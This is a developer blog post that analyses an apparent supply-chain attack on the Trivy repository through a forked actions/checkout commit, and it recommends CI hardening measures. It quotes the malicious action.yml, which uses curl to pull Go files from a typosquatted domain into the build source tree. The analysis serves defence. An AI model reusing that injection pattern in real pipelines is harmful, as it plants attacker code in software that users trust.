DEV Community

Cover image for The Trivy Attack: Why SHA Pinning Fails GitHub Actions
Ameer Hamza
Ameer Hamza

Posted on

The Trivy Attack: Why SHA Pinning Fails GitHub Actions

The Trivy Supply Chain Attack: Why SHA Pinning Isn't Enough for GitHub Actions

For years, the "gold standard" for securing GitHub Actions has been simple: Pin your actions to a full length commit SHA.

The logic was sound. Tags like @v3 are mutable; a maintainer (or an attacker with their credentials) could move the tag to a malicious commit. A SHA, however, is immutable. Once you verify actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608, you are safe. Or so we thought.

On March 4, 2026, the aquasecurity/trivy repository—one of the most trusted security scanners in the industry—was compromised. The attacker didn't steal a maintainer's password. They didn't compromise a dependency. Instead, they exploited a fundamental architectural flaw in how GitHub handles commit visibility across forks.

In this deep dive, we’ll analyze the mechanics of the Trivy attack, why SHA pinning failed to prevent it, and the concrete steps you must take to secure your production CI/CD pipelines.

The Anatomy of the Compromise

The attack began with commit 1885610c in the aquasecurity/trivy repository. To a casual observer, the commit looked like routine maintenance. The message read: fix(ci): Use correct checkout pinning.

The diff appeared harmless. It swapped single quotes for double quotes and updated the SHA for actions/checkout.

# Before
- uses: actions/checkout@v4
  with:
    fetch-depth: 0

# After
- uses: actions/checkout@70379aad... # v6.0.2
  with:
    fetch-depth: 0
Enter fullscreen mode Exit fullscreen mode

The attacker even added a comment # v6.0.2 to make it look legitimate. However, v6.0.2 of actions/checkout didn't exist. More importantly, the SHA 70379aad didn't belong to the official actions/checkout repository.

The "Orphaned Commit" Trick

This is where the attack gets sophisticated. GitHub’s architecture allows any commit from a fork to be reachable via the parent repository's API and UI if you have the SHA.

The attacker:

  1. Forked actions/checkout.
  2. Committed malicious code to their fork.
  3. Identified the SHA of that malicious commit.
  4. Submitted a PR to trivy (or pushed directly if they had access) using that SHA.

Because the SHA is technically "in" the actions/checkout network, GitHub Actions happily fetched it. The security community calls these "orphaned commits." They are commits that exist in the database but aren't part of any branch or tag in the main repository.

Technical Deep Dive: The Payload

The malicious commit replaced the standard action.yml with a composite action that performed a legitimate checkout and then silently injected malware into the Trivy source tree before the build started.

# Malicious action.yml snippet
runs:
  using: "composite"
  steps:
    - name: "Setup Checkout"
      shell: bash
      run: |
        BASE="https://scan.aquasecurtiy[.]org/static"
        curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null
        curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null
        # ... more injections
Enter fullscreen mode Exit fullscreen mode

The attacker used a typosquatted domain (aquasecurtiy.org) to host the payloads. These Go files were then compiled into the official Trivy binary. When users downloaded the "official" v0.69.4 release, they were actually running a poisoned binary that could steal environment variables, cloud credentials, and source code.

Why SHA Pinning Failed

SHA pinning is designed to prevent Tag Hijacking. It ensures that the code you reviewed is the code that runs. However, it does not verify:

  1. Provenance: Is this SHA from the repository I think it is?
  2. Authorization: Was this commit signed by a trusted maintainer?

In the Trivy case, the SHA was valid, but it came from a malicious fork. GitHub's UI often makes this hard to spot, as it will show the commit as belonging to the parent repo if you access it via the parent's URL.

How to Actually Secure Your Pipelines

If SHA pinning isn't enough, what is? We need a multi-layered defense strategy.

1. Enforce Least Privilege with Permissions

Most GitHub Actions workflows run with broad permissions by default. You should explicitly define the minimum permissions required.

permissions:
  contents: read
  id-token: write # Only if using OIDC
Enter fullscreen mode Exit fullscreen mode

By setting contents: read, you prevent a compromised action from pushing malicious code back to your repository.

2. Use OpenSSF Scorecard

The OpenSSF Scorecard can automatically detect if you are using unpinned actions or if your dependencies are risky. Integrate it into your CI to fail builds that don't meet security standards.

# Example Scorecard check
scorecard --repo=github.com/your/repo
Enter fullscreen mode Exit fullscreen mode

3. Implement OIDC for Cloud Access

Never store long-lived AWS or GCP secrets in GitHub Actions. Use OpenID Connect (OIDC) to exchange a short-lived GitHub token for cloud credentials.

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::1234567890:role/my-github-role
    aws-region: us-east-1
Enter fullscreen mode Exit fullscreen mode

4. Verify Commit Signatures

While GitHub doesn't yet allow you to "only run signed actions," you can use tools like step-security/harden-runner to monitor network outbound calls and detect unauthorized curl or wget commands during your build.

steps:
  - uses: step-security/harden-runner@v2
    with:
      egress-policy: block
      allowed-endpoints: 
        github.com:443
        proxy.golang.org:443
Enter fullscreen mode Exit fullscreen mode

Conclusion

The Trivy attack is a wake-up call. Supply chain security isn't a "set it and forget it" task. SHA pinning is a necessary first step, but it must be coupled with strict permissions, network monitoring, and automated security scoring.

Discussion Prompt: Have you audited your GitHub Actions for orphaned commit risks? What tools are you using to monitor CI/CD egress traffic?


Ameer Hamza is a Top-Rated Full-Stack Developer with 7+ years of experience building SaaS platforms, eCommerce solutions, and AI-powered applications. He specializes in Laravel, Vue.js, React, Next.js, and AI integrations—with 50+ projects shipped and a 100% job success rate. Check out his portfolio at ameer.pk to see his latest work, or reach out for your next development project.

Top comments (0)